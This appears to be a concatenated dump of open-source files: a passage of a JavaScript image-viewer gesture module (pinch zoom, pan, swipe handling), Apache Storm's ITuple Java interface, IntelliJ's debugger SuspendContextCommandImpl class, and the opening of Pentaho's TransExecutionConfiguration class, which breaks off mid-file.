zoomFriction = (zoomLevel - maxZoomLevel) / ( minZoomLevel * 6 );
if(zoomFriction > 1) {
zoomFriction = 1;
}
zoomLevel = maxZoomLevel + zoomFriction * minZoomLevel;
}
if(zoomFriction < 0) {
zoomFriction = 0;
}
// distance between touch points after friction is applied
_currPointsDistance = pointsDistance;
// _centerPoint - The point in the middle of two pointers
_findCenterOfPoints(p, p2, _centerPoint);
// paning with two pointers pressed
_currPanDist.x += _centerPoint.x - _currCenterPoint.x;
_currPanDist.y += _centerPoint.y - _currCenterPoint.y;
_equalizePoints(_currCenterPoint, _centerPoint);
_panOffset.x = _calculatePanOffset('x', zoomLevel);
_panOffset.y = _calculatePanOffset('y', zoomLevel);
_isZoomingIn = zoomLevel > _currZoomLevel;
_currZoomLevel = zoomLevel;
_applyCurrentZoomPan();
} else {
// handle behaviour for one point (dragging or panning)
if(!_direction) {
return;
}
if(_isFirstMove) {
_isFirstMove = false;
// subtract drag distance that was used during the detection direction
if( Math.abs(delta.x) >= DIRECTION_CHECK_OFFSET) {
delta.x -= _currentPoints[0].x - _startPoint.x;
}
if( Math.abs(delta.y) >= DIRECTION_CHECK_OFFSET) {
delta.y -= _currentPoints[0].y - _startPoint.y;
}
}
_currPoint.x = p.x;
_currPoint.y = p.y;
// do nothing if pointers position hasn't changed
if(delta.x === 0 && delta.y === 0) {
return;
}
if(_direction === 'v' && _options.closeOnVerticalDrag) {
if(!_canPan()) {
_currPanDist.y += delta.y;
_panOffset.y += delta.y;
var opacityRatio = _calculateVerticalDragOpacityRatio();
_verticalDragInitiated = true;
_shout('onVerticalDrag', opacityRatio);
_applyBgOpacity(opacityRatio);
_applyCurrentZoomPan();
return ;
}
}
_pushPosPoint(_getCurrentTime(), p.x, p.y);
_moved = true;
_currPanBounds = self.currItem.bounds;
var mainScrollChanged = _panOrMoveMainScroll('x', delta);
if(!mainScrollChanged) {
_panOrMoveMainScroll('y', delta);
_roundPoint(_panOffset);
_applyCurrentZoomPan();
}
}
},
// Pointerup/pointercancel/touchend/touchcancel/mouseup event handler
_onDragRelease = function(e) {
if(_features.isOldAndroid ) {
if(_oldAndroidTouchEndTimeout && e.type === 'mouseup') {
return;
}
// on Android (v4.1, 4.2, 4.3 & possibly older)
// ghost mousedown/up event isn't preventable via e.preventDefault,
// which causes fake mousedown event
// so we block mousedown/up for 600ms
if( e.type.indexOf('touch') > -1 ) {
clearTimeout(_oldAndroidTouchEndTimeout);
_oldAndroidTouchEndTimeout = setTimeout(function() {
_oldAndroidTouchEndTimeout = 0;
}, 600);
}
}
_shout('pointerUp');
if(_preventDefaultEventBehaviour(e, false)) {
e.preventDefault();
}
var releasePoint;
if(_pointerEventEnabled) {
var pointerIndex = framework.arraySearch(_currPointers, e.pointerId, 'id');
if(pointerIndex > -1) {
releasePoint = _currPointers.splice(pointerIndex, 1)[0];
if(navigator.pointerEnabled) {
releasePoint.type = e.pointerType || 'mouse';
} else {
var MSPOINTER_TYPES = {
4: 'mouse', // event.MSPOINTER_TYPE_MOUSE
2: 'touch', // event.MSPOINTER_TYPE_TOUCH
3: 'pen' // event.MSPOINTER_TYPE_PEN
};
releasePoint.type = MSPOINTER_TYPES[e.pointerType];
if(!releasePoint.type) {
releasePoint.type = e.pointerType || 'mouse';
}
}
}
}
var touchList = _getTouchPoints(e),
gestureType,
numPoints = touchList.length;
if(e.type === 'mouseup') {
numPoints = 0;
}
// Do nothing if there were 3 touch points or more
if(numPoints === 2) {
_currentPoints = null;
return true;
}
// if second pointer released
if(numPoints === 1) {
_equalizePoints(_startPoint, touchList[0]);
}
// pointer hasn't moved, send "tap release" point
if(numPoints === 0 && !_direction && !_mainScrollAnimating) {
if(!releasePoint) {
if(e.type === 'mouseup') {
releasePoint = {x: e.pageX, y: e.pageY, type:'mouse'};
} else if(e.changedTouches && e.changedTouches[0]) {
releasePoint = {x: e.changedTouches[0].pageX, y: e.changedTouches[0].pageY, type:'touch'};
}
}
_shout('touchRelease', e, releasePoint);
}
// Difference in time between releasing of two last touch points (zoom gesture)
var releaseTimeDiff = -1;
// Gesture completed, no pointers left
if(numPoints === 0) {
_isDragging = false;
framework.unbind(window, _upMoveEvents, self);
_stopDragUpdateLoop();
if(_isZooming) {
// Two points released at the same time
releaseTimeDiff = 0;
} else if(_lastReleaseTime !== -1) {
releaseTimeDiff = _getCurrentTime() - _lastReleaseTime;
}
}
_lastReleaseTime = numPoints === 1 ? _getCurrentTime() : -1;
if(releaseTimeDiff !== -1 && releaseTimeDiff < 150) {
gestureType = 'zoom';
} else {
gestureType = 'swipe';
}
if(_isZooming && numPoints < 2) {
_isZooming = false;
// Only second point released
if(numPoints === 1) {
gestureType = 'zoomPointerUp';
}
_shout('zoomGestureEnded');
}
_currentPoints = null;
if(!_moved && !_zoomStarted && !_mainScrollAnimating && !_verticalDragInitiated) {
// nothing to animate
return;
}
_stopAllAnimations();
if(!_releaseAnimData) {
_releaseAnimData = _initDragReleaseAnimationData();
}
_releaseAnimData.calculateSwipeSpeed('x');
if(_verticalDragInitiated) {
var opacityRatio = _calculateVerticalDragOpacityRatio();
if(opacityRatio < _options.verticalDragRange) {
self.close();
} else {
var initalPanY = _panOffset.y,
initialBgOpacity = _bgOpacity;
_animateProp('verticalDrag', 0, 1, 300, framework.easing.cubic.out, function(now) {
_panOffset.y = (self.currItem.initialPosition.y - initalPanY) * now + initalPanY;
_applyBgOpacity( (1 - initialBgOpacity) * now + initialBgOpacity );
_applyCurrentZoomPan();
});
_shout('onVerticalDrag', 1);
}
return;
}
// main scroll
if( (_mainScrollShifted || _mainScrollAnimating) && numPoints === 0) {
var itemChanged = _finishSwipeMainScrollGesture(gestureType, _releaseAnimData);
if(itemChanged) {
return;
}
gestureType = 'zoomPointerUp';
}
// prevent zoom/pan animation when main scroll animation runs
if(_mainScrollAnimating) {
return;
}
// Complete simple zoom gesture (reset zoom level if it's out of the bounds)
if(gestureType !== 'swipe') {
_completeZoomGesture();
return;
}
// Complete pan gesture if main scroll is not shifted, and it's possible to pan current image
if(!_mainScrollShifted && _currZoomLevel > self.currItem.fitRatio) {
_completePanGesture(_releaseAnimData);
}
},
// Returns object with data about gesture
// It's created only once and then reused
_initDragReleaseAnimationData = function() {
// temp local vars
var lastFlickDuration,
tempReleasePos;
// s = this
var s = {
lastFlickOffset: {},
lastFlickDist: {},
lastFlickSpeed: {},
slowDownRatio: {},
slowDownRatioReverse: {},
speedDecelerationRatio: {},
speedDecelerationRatioAbs: {},
distanceOffset: {},
backAnimDestination: {},
backAnimStarted: {},
calculateSwipeSpeed: function(axis) {
if( _posPoints.length > 1) {
lastFlickDuration = _getCurrentTime() - _gestureCheckSpeedTime + 50;
tempReleasePos = _posPoints[_posPoints.length-2][axis];
} else {
lastFlickDuration = _getCurrentTime() - _gestureStartTime; // total gesture duration
tempReleasePos = _startPoint[axis];
}
s.lastFlickOffset[axis] = _currPoint[axis] - tempReleasePos;
s.lastFlickDist[axis] = Math.abs(s.lastFlickOffset[axis]);
if(s.lastFlickDist[axis] > 20) {
s.lastFlickSpeed[axis] = s.lastFlickOffset[axis] / lastFlickDuration;
} else {
s.lastFlickSpeed[axis] = 0;
}
if( Math.abs(s.lastFlickSpeed[axis]) < 0.1 ) {
s.lastFlickSpeed[axis] = 0;
}
s.slowDownRatio[axis] = 0.95;
s.slowDownRatioReverse[axis] = 1 - s.slowDownRatio[axis];
s.speedDecelerationRatio[axis] = 1;
},
calculateOverBoundsAnimOffset: function(axis, speed) {
if(!s.backAnimStarted[axis]) {
if(_panOffset[axis] > _currPanBounds.min[axis]) {
s.backAnimDestination[axis] = _currPanBounds.min[axis];
} else if(_panOffset[axis] < _currPanBounds.max[axis]) {
s.backAnimDestination[axis] = _currPanBounds.max[axis];
}
if(s.backAnimDestination[axis] !== undefined) {
s.slowDownRatio[axis] = 0.7;
s.slowDownRatioReverse[axis] = 1 - s.slowDownRatio[axis];
if(s.speedDecelerationRatioAbs[axis] < 0.05) {
s.lastFlickSpeed[axis] = 0;
s.backAnimStarted[axis] = true;
_animateProp('bounceZoomPan'+axis,_panOffset[axis],
s.backAnimDestination[axis],
speed || 300,
framework.easing.sine.out,
function(pos) {
_panOffset[axis] = pos;
_applyCurrentZoomPan();
}
);
}
}
}
},
// Reduces the speed by slowDownRatio (per 10ms)
calculateAnimOffset: function(axis) {
if(!s.backAnimStarted[axis]) {
s.speedDecelerationRatio[axis] = s.speedDecelerationRatio[axis] * (s.slowDownRatio[axis] +
s.slowDownRatioReverse[axis] -
s.slowDownRatioReverse[axis] * s.timeDiff / 10);
s.speedDecelerationRatioAbs[axis] = Math.abs(s.lastFlickSpeed[axis] * s.speedDecelerationRatio[axis]);
s.distanceOffset[axis] = s.lastFlickSpeed[axis] * s.speedDecelerationRatio[axis] * s.timeDiff;
_panOffset[axis] += s.distanceOffset[axis];
}
},
panAnimLoop: function() {
if ( _animations.zoomPan ) {
_animations.zoomPan.raf = _requestAF(s.panAnimLoop);
s.now = _getCurrentTime();
s.timeDiff = s.now - s.lastNow;
s.lastNow = s.now;
s.calculateAnimOffset('x');
s.calculateAnimOffset('y');
_applyCurrentZoomPan();
s.calculateOverBoundsAnimOffset('x');
s.calculateOverBoundsAnimOffset('y');
if (s.speedDecelerationRatioAbs.x < 0.05 && s.speedDecelerationRatioAbs.y < 0.05) {
// round pan position
_panOffset.x = Math.round(_panOffset.x);
_panOffset.y = Math.round(_panOffset.y);
_applyCurrentZoomPan();
_stopAnimation('zoomPan');
return;
}
}
}
};
return s;
},
_completePanGesture = function(animData) {
// calculate swipe speed for Y axis (paanning)
animData.calculateSwipeSpeed('y');
_currPanBounds = self.currItem.bounds;
animData.backAnimDestination = {};
animData.backAnimStarted = {};
// Avoid acceleration animation if speed is too low
if(Math.abs(animData.lastFlickSpeed.x) <= 0.05 && Math.abs(animData.lastFlickSpeed.y) <= 0.05 ) {
animData.speedDecelerationRatioAbs.x = animData.speedDecelerationRatioAbs.y = 0;
// Run pan drag release animation. E.g. if you drag image and release finger without momentum.
animData.calculateOverBoundsAnimOffset('x');
animData.calculateOverBoundsAnimOffset('y');
return true;
}
// Animation loop that controls the acceleration after pan gesture ends
_registerStartAnimation('zoomPan');
animData.lastNow = _getCurrentTime();
animData.panAnimLoop();
},
_finishSwipeMainScrollGesture = function(gestureType, _releaseAnimData) {
var itemChanged;
if(!_mainScrollAnimating) {
_currZoomedItemIndex = _currentItemIndex;
}
var itemsDiff;
if(gestureType === 'swipe') {
var totalShiftDist = _currPoint.x - _startPoint.x,
isFastLastFlick = _releaseAnimData.lastFlickDist.x < 10;
// if container is shifted for more than MIN_SWIPE_DISTANCE,
// and last flick gesture was in right direction
if(totalShiftDist > MIN_SWIPE_DISTANCE &&
(isFastLastFlick || _releaseAnimData.lastFlickOffset.x > 20) ) {
// go to prev item
itemsDiff = -1;
} else if(totalShiftDist < -MIN_SWIPE_DISTANCE &&
(isFastLastFlick || _releaseAnimData.lastFlickOffset.x < -20) ) {
// go to next item
itemsDiff = 1;
}
}
var nextCircle;
if(itemsDiff) {
_currentItemIndex += itemsDiff;
if(_currentItemIndex < 0) {
_currentItemIndex = _options.loop ? _getNumItems()-1 : 0;
nextCircle = true;
} else if(_currentItemIndex >= _getNumItems()) {
_currentItemIndex = _options.loop ? 0 : _getNumItems()-1;
nextCircle = true;
}
if(!nextCircle || _options.loop) {
_indexDiff += itemsDiff;
_currPositionIndex -= itemsDiff;
itemChanged = true;
}
}
var animateToX = _slideSize.x * _currPositionIndex;
var animateToDist = Math.abs( animateToX - _mainScrollPos.x );
var finishAnimDuration;
if(!itemChanged && animateToX > _mainScrollPos.x !== _releaseAnimData.lastFlickSpeed.x > 0) {
// "return to current" duration, e.g. when dragging from slide 0 to -1
finishAnimDuration = 333;
} else {
finishAnimDuration = Math.abs(_releaseAnimData.lastFlickSpeed.x) > 0 ?
animateToDist / Math.abs(_releaseAnimData.lastFlickSpeed.x) :
333;
finishAnimDuration = Math.min(finishAnimDuration, 400);
finishAnimDuration = Math.max(finishAnimDuration, 250);
}
if(_currZoomedItemIndex === _currentItemIndex) {
itemChanged = false;
}
_mainScrollAnimating = true;
_shout('mainScrollAnimStart');
_animateProp('mainScroll', _mainScrollPos.x, animateToX, finishAnimDuration, framework.easing.cubic.out,
_moveMainScroll,
function() {
_stopAllAnimations();
_mainScrollAnimating = false;
_currZoomedItemIndex = -1;
if(itemChanged || _currZoomedItemIndex !== _currentItemIndex) {
self.updateCurrItem();
}
_shout('mainScrollAnimComplete');
}
);
if(itemChanged) {
self.updateCurrItem(true);
}
return itemChanged;
},
_calculateZoomLevel = function(touchesDistance) {
return 1 / _startPointsDistance * touchesDistance * _startZoomLevel;
},
// Resets zoom if it's out of bounds
_completeZoomGesture = function() {
var destZoomLevel = _currZoomLevel,
minZoomLevel = _getMinZoomLevel(),
maxZoomLevel = _getMaxZoomLevel();
if ( _currZoomLevel < minZoomLevel ) {
destZoomLevel = minZoomLevel;
} else if ( _currZoomLevel > maxZoomLevel ) {
destZoomLevel = maxZoomLevel;
}
var destOpacity = 1,
onUpdate,
initialOpacity = _bgOpacity;
if(_opacityChanged && !_isZoomingIn && !_wasOverInitialZoom && _currZoomLevel < minZoomLevel) {
//_closedByScroll = true;
self.close();
return true;
}
if(_opacityChanged) {
onUpdate = function(now) {
_applyBgOpacity( (destOpacity - initialOpacity) * now + initialOpacity );
};
}
self.zoomTo(destZoomLevel, 0, 200, framework.easing.cubic.out, onUpdate);
return true;
};
_registerModule('Gestures', {
publicMethods: {
initGestures: function() {
// helper function that builds touch/pointer/mouse events
var addEventNames = function(pref, down, move, up, cancel) {
_dragStartEvent = pref + down;
_dragMoveEvent = pref + move;
_dragEndEvent = pref + up;
if(cancel) {
_dragCancelEvent = pref + cancel;
} else {
_dragCancelEvent = '';
}
};
_pointerEventEnabled = _features.pointerEvent;
if(_pointerEventEnabled && _features.touch) {
// we don't need touch events, if browser supports pointer events
_features.touch = false;
}
if(_pointerEventEnabled) {
if(navigator.pointerEnabled) {
addEventNames('pointer', 'down', 'move', 'up', 'cancel');
} else {
// IE10 pointer events are case-sensitive
addEventNames('MSPointer', 'Down', 'Move', 'Up', 'Cancel');
}
} else if(_features.touch) {
addEventNames('touch', 'start', 'move', 'end', 'cancel');
_likelyTouchDevice = true;
} else {
addEventNames('mouse', 'down', 'move', 'up');
}
_upMoveEvents = _dragMoveEvent + ' ' + _dragEndEvent + ' ' + _dragCancelEvent;
_downEvents = _dragStartEvent;
if(_pointerEventEnabled && !_likelyTouchDevice) {
_likelyTouchDevice = (navigator.maxTouchPoints > 1) || (navigator.msMaxTouchPoints > 1);
}
// make variable public
self.likelyTouchDevice = _likelyTouchDevice;
_globalEventHandlers[_dragStartEvent] = _onDragStart;
_globalEventHandlers[_dragMoveEvent] = _onDragMove;
_globalEventHandlers[_dragEndEvent] = _onDragRelease; // the Kraken
if(_dragCancelEvent) {
_globalEventHandlers[_dragCancelEvent] = _globalEventHandlers[_dragEndEvent];
}
// Bind mouse events on device with detected hardware touch support, in case it supports multiple types of input.
if(_features.touch) {
_downEvents += ' mousedown';
_upMoveEvents += ' mousemove mouseup';
_globalEventHandlers.mousedown = _globalEventHandlers[_dragStartEvent];
_globalEventHandlers.mousemove = _globalEventHandlers[_dragMoveEvent];
_globalEventHandlers.mouseup = _globalEventHandlers[_dragEndEvent];
}
if(!_likelyTouchDevice) {
// don't allow pan to next slide from zoomed state on Desktop
_options.allowPanToNext = false;
}
}
}
});
| apache-2.0 |
knusbaum/incubator-storm | storm-client/src/jvm/org/apache/storm/tuple/ITuple.java | 7011 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.storm.tuple;
import java.util.List;
public interface ITuple {
/**
* Returns the number of fields in this tuple.
*/
public int size();
/**
* Returns true if this tuple contains the specified name of the field.
*/
public boolean contains(String field);
/**
* Gets the names of the fields in this tuple.
*/
public Fields getFields();
/**
* Returns the position of the specified field in this tuple.
*
* @throws IllegalArgumentException - if field does not exist
*/
public int fieldIndex(String field);
/**
* Returns a subset of the tuple based on the fields selector.
*/
public List<Object> select(Fields selector);
/**
* Gets the field at position i in the tuple. Returns object since tuples are dynamically typed.
*
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Object getValue(int i);
/**
* Returns the String at position i in the tuple.
*
* @throws ClassCastException If that field is not a String
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public String getString(int i);
/**
* Returns the Integer at position i in the tuple.
*
* @throws ClassCastException If that field is not a Integer
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Integer getInteger(int i);
/**
* Returns the Long at position i in the tuple.
*
* @throws ClassCastException If that field is not a Long
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Long getLong(int i);
/**
* Returns the Boolean at position i in the tuple.
*
* @throws ClassCastException If that field is not a Boolean
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Boolean getBoolean(int i);
/**
* Returns the Short at position i in the tuple.
*
* @throws ClassCastException If that field is not a Short
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Short getShort(int i);
/**
* Returns the Byte at position i in the tuple.
*
* @throws ClassCastException If that field is not a Byte
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Byte getByte(int i);
/**
* Returns the Double at position i in the tuple.
*
* @throws ClassCastException If that field is not a Double
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Double getDouble(int i);
/**
* Returns the Float at position i in the tuple.
*
* @throws ClassCastException If that field is not a Float
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public Float getFloat(int i);
/**
* Returns the byte array at position i in the tuple.
*
* @throws ClassCastException If that field is not a byte array
* @throws IndexOutOfBoundsException - if the index is out of range `(index < 0 || index >= size())`
*/
public byte[] getBinary(int i);
/**
* Gets the field with a specific name. Returns object since tuples are dynamically typed.
*
* @throws IllegalArgumentException - if field does not exist
*/
public Object getValueByField(String field);
/**
* Gets the String field with a specific name.
*
* @throws ClassCastException If that field is not a String
* @throws IllegalArgumentException - if field does not exist
*/
public String getStringByField(String field);
/**
* Gets the Integer field with a specific name.
*
* @throws ClassCastException If that field is not an Integer
* @throws IllegalArgumentException - if field does not exist
*/
public Integer getIntegerByField(String field);
/**
* Gets the Long field with a specific name.
*
* @throws ClassCastException If that field is not a Long
* @throws IllegalArgumentException - if field does not exist
*/
public Long getLongByField(String field);
/**
* Gets the Boolean field with a specific name.
*
* @throws ClassCastException If that field is not a Boolean
* @throws IllegalArgumentException - if field does not exist
*/
public Boolean getBooleanByField(String field);
/**
* Gets the Short field with a specific name.
*
* @throws ClassCastException If that field is not a Short
* @throws IllegalArgumentException - if field does not exist
*/
public Short getShortByField(String field);
/**
* Gets the Byte field with a specific name.
*
* @throws ClassCastException If that field is not a Byte
* @throws IllegalArgumentException - if field does not exist
*/
public Byte getByteByField(String field);
/**
* Gets the Double field with a specific name.
*
* @throws ClassCastException If that field is not a Double
* @throws IllegalArgumentException - if field does not exist
*/
public Double getDoubleByField(String field);
/**
* Gets the Float field with a specific name.
*
* @throws ClassCastException If that field is not a Float
* @throws IllegalArgumentException - if field does not exist
*/
public Float getFloatByField(String field);
/**
* Gets the Byte array field with a specific name.
*
* @throws ClassCastException If that field is not a byte array
* @throws IllegalArgumentException - if field does not exist
*/
public byte[] getBinaryByField(String field);
/**
* Gets all the values in this tuple.
*/
public List<Object> getValues();
}
| apache-2.0 |
mglukhikh/intellij-community | java/debugger/impl/src/com/intellij/debugger/engine/events/SuspendContextCommandImpl.java | 3531 | /*
* Copyright 2000-2016 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.debugger.engine.events;
import com.intellij.debugger.engine.DebuggerManagerThreadImpl;
import com.intellij.debugger.engine.SuspendContextImpl;
import com.intellij.debugger.engine.managerThread.SuspendContextCommand;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.util.containers.Stack;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
/**
* Performs contextAction when evaluation is available in suspend context
*/
public abstract class SuspendContextCommandImpl extends DebuggerCommandImpl {
private static final Logger LOG = Logger.getInstance(SuspendContextCommand.class);
private final SuspendContextImpl mySuspendContext;
protected SuspendContextCommandImpl(@Nullable SuspendContextImpl suspendContext) {
mySuspendContext = suspendContext;
}
/**
* @deprecated override {@link #contextAction(SuspendContextImpl)}
*/
@Deprecated
public void contextAction() throws Exception {
throw new AbstractMethodError();
}
public void contextAction(@NotNull SuspendContextImpl suspendContext) throws Exception {
//noinspection deprecation
contextAction();
}
@Override
public final void action() throws Exception {
if (LOG.isDebugEnabled()) {
LOG.debug("trying " + this);
}
final SuspendContextImpl suspendContext = getSuspendContext();
if (suspendContext == null) {
if (LOG.isDebugEnabled()) {
LOG.debug("skip processing - context is null " + this);
}
notifyCancelled();
return;
}
if (suspendContext.myInProgress) {
suspendContext.postponeCommand(this);
}
else {
try {
if (!suspendContext.isResumed()) {
suspendContext.myInProgress = true;
contextAction(suspendContext);
}
else {
notifyCancelled();
}
}
finally {
suspendContext.myInProgress = false;
if (suspendContext.isResumed()) {
for (SuspendContextCommandImpl postponed = suspendContext.pollPostponedCommand(); postponed != null; postponed = suspendContext.pollPostponedCommand()) {
postponed.notifyCancelled();
}
}
else {
SuspendContextCommandImpl postponed = suspendContext.pollPostponedCommand();
if (postponed != null) {
final Stack<SuspendContextCommandImpl> stack = new Stack<>();
while (postponed != null) {
stack.push(postponed);
postponed = suspendContext.pollPostponedCommand();
}
final DebuggerManagerThreadImpl managerThread = suspendContext.getDebugProcess().getManagerThread();
while (!stack.isEmpty()) {
managerThread.pushBack(stack.pop());
}
}
}
}
}
}
@Nullable
public SuspendContextImpl getSuspendContext() {
return mySuspendContext;
}
}
| apache-2.0 |
marcoslarsen/pentaho-kettle | engine/src/main/java/org/pentaho/di/trans/TransExecutionConfiguration.java | 26844 | /*! ******************************************************************************
*
* Pentaho Data Integration
*
* Copyright (C) 2002-2017 by Hitachi Vantara : http://www.pentaho.com
*
*******************************************************************************
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************/
package org.pentaho.di.trans;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import org.apache.commons.lang.StringUtils;
import org.pentaho.di.ExecutionConfiguration;
import org.pentaho.di.cluster.SlaveServer;
import org.pentaho.di.core.Const;
import org.pentaho.di.core.util.Utils;
import org.pentaho.di.core.Props;
import org.pentaho.di.core.Result;
import org.pentaho.di.core.encryption.Encr;
import org.pentaho.di.core.exception.KettleException;
import org.pentaho.di.core.logging.LogChannel;
import org.pentaho.di.core.logging.LogChannelInterface;
import org.pentaho.di.core.logging.LogLevel;
import org.pentaho.di.core.plugins.PluginRegistry;
import org.pentaho.di.core.plugins.RepositoryPluginType;
import org.pentaho.di.core.variables.VariableSpace;
import org.pentaho.di.core.variables.Variables;
import org.pentaho.di.core.xml.XMLHandler;
import org.pentaho.di.repository.RepositoriesMeta;
import org.pentaho.di.repository.Repository;
import org.pentaho.di.repository.RepositoryMeta;
import org.pentaho.di.trans.debug.TransDebugMeta;
import org.w3c.dom.Node;
public class TransExecutionConfiguration implements ExecutionConfiguration {
public static final String XML_TAG = "transformation_execution_configuration";
private final LogChannelInterface log = LogChannel.GENERAL;
private boolean executingLocally;
private boolean executingRemotely;
private SlaveServer remoteServer;
private boolean passingExport;
private boolean executingClustered;
private boolean clusterPosting;
private boolean clusterPreparing;
private boolean clusterStarting;
private boolean clusterShowingTransformation;
private Map<String, String> arguments;
private Map<String, String> params;
private Map<String, String> variables;
private Date replayDate;
private boolean safeModeEnabled;
private LogLevel logLevel;
private boolean clearingLog;
private TransDebugMeta transDebugMeta;
private Result previousResult;
private Repository repository;
private boolean gatheringMetrics;
private boolean showingSubComponents;
private boolean setLogfile;
private boolean setAppendLogfile;
private String logFileName;
private boolean createParentFolder;
private Long passedBatchId;
private String runConfiguration;
private boolean logRemoteExecutionLocally;
public TransExecutionConfiguration() {
executingLocally = true;
clusterPosting = true;
clusterPreparing = true;
clusterStarting = true;
clusterShowingTransformation = false;
passingExport = false;
arguments = new HashMap<String, String>();
params = new HashMap<String, String>();
variables = new HashMap<String, String>();
transDebugMeta = null;
logLevel = LogLevel.BASIC;
clearingLog = true;
gatheringMetrics = false;
showingSubComponents = true;
}
public Object clone() {
try {
TransExecutionConfiguration configuration = (TransExecutionConfiguration) super.clone();
configuration.params = new HashMap<String, String>();
configuration.params.putAll( params );
configuration.arguments = new HashMap<String, String>();
configuration.arguments.putAll( arguments );
configuration.variables = new HashMap<String, String>();
configuration.variables.putAll( variables );
return configuration;
} catch ( CloneNotSupportedException e ) {
return null;
}
}
/**
* @return the arguments
*/
public Map<String, String> getArguments() {
return arguments;
}
/**
* @param arguments
* the arguments to set
*/
public void setArguments( Map<String, String> arguments ) {
this.arguments = arguments;
}
/**
* @param params
* the parameters to set
*/
public void setParams( Map<String, String> params ) {
this.params = params;
}
/**
* @return the parameters.
*/
public Map<String, String> getParams() {
return params;
}
/**
* @param arguments
* the arguments to set
*/
public void setArgumentStrings( String[] arguments ) {
this.arguments = new HashMap<String, String>();
if ( arguments != null ) {
for ( int i = 0; i < arguments.length; i++ ) {
this.arguments.put( "arg " + ( i + 1 ), arguments[i] );
}
}
}
/**
* @return the clusteredExecution
*/
public boolean isExecutingClustered() {
return executingClustered;
}
/**
* @param clusteredExecution
* the clusteredExecution to set
*/
public void setExecutingClustered( boolean clusteredExecution ) {
this.executingClustered = clusteredExecution;
}
/**
* @return the notExecuting
*/
public boolean isClusterStarting() {
return clusterStarting;
}
/**
* @param notExecuting
* the notExecuting to set
*/
public void setClusterStarting( boolean notExecuting ) {
this.clusterStarting = notExecuting;
}
/**
* @return the showingTransformations
*/
public boolean isClusterShowingTransformation() {
return clusterShowingTransformation;
}
/**
* @param showingTransformations
* the showingTransformations to set
*/
public void setClusterShowingTransformation( boolean showingTransformations ) {
this.clusterShowingTransformation = showingTransformations;
}
/**
* @return the variables
*/
public Map<String, String> getVariables() {
return variables;
}
/**
* @param variables
* the variables to set
*/
public void setVariables( Map<String, String> variables ) {
this.variables = variables;
}
public void setVariables( VariableSpace space ) {
this.variables = new HashMap<String, String>();
for ( String name : space.listVariables() ) {
String value = space.getVariable( name );
this.variables.put( name, value );
}
}
/**
* @return the remoteExecution
*/
public boolean isExecutingRemotely() {
return executingRemotely;
}
/**
* @param remoteExecution
* the remoteExecution to set
*/
public void setExecutingRemotely( boolean remoteExecution ) {
this.executingRemotely = remoteExecution;
}
/**
* @return the clusterPosting
*/
public boolean isClusterPosting() {
return clusterPosting;
}
/**
* @param clusterPosting
* the clusterPosting to set
*/
public void setClusterPosting( boolean clusterPosting ) {
this.clusterPosting = clusterPosting;
}
/**
* @return the localExecution
*/
public boolean isExecutingLocally() {
return executingLocally;
}
/**
* @param localExecution
* the localExecution to set
*/
public void setExecutingLocally( boolean localExecution ) {
this.executingLocally = localExecution;
}
/**
* @return the clusterPreparing
*/
public boolean isClusterPreparing() {
return clusterPreparing;
}
/**
* @param clusterPreparing
* the clusterPreparing to set
*/
public void setClusterPreparing( boolean clusterPreparing ) {
this.clusterPreparing = clusterPreparing;
}
/**
* @return the remoteServer
*/
public SlaveServer getRemoteServer() {
return remoteServer;
}
/**
* @param remoteServer
* the remoteServer to set
*/
public void setRemoteServer( SlaveServer remoteServer ) {
this.remoteServer = remoteServer;
}
public void getAllVariables( TransMeta transMeta ) {
Properties sp = new Properties();
VariableSpace space = Variables.getADefaultVariableSpace();
String[] keys = space.listVariables();
for ( int i = 0; i < keys.length; i++ ) {
sp.put( keys[i], space.getVariable( keys[i] ) );
}
String[] vars = transMeta.listVariables();
if ( vars != null && vars.length > 0 ) {
HashMap<String, String> newVariables = new HashMap<String, String>();
for ( int i = 0; i < vars.length; i++ ) {
String varname = vars[i];
newVariables.put( varname, Const.NVL( variables.get( varname ), sp.getProperty( varname, "" ) ) );
}
// variables.clear();
variables.putAll( newVariables );
}
// Also add the internal job variables if these are set...
//
for ( String variableName : Const.INTERNAL_JOB_VARIABLES ) {
String value = transMeta.getVariable( variableName );
if ( !Utils.isEmpty( value ) ) {
variables.put( variableName, value );
}
}
}
public void getUsedVariables( TransMeta transMeta ) {
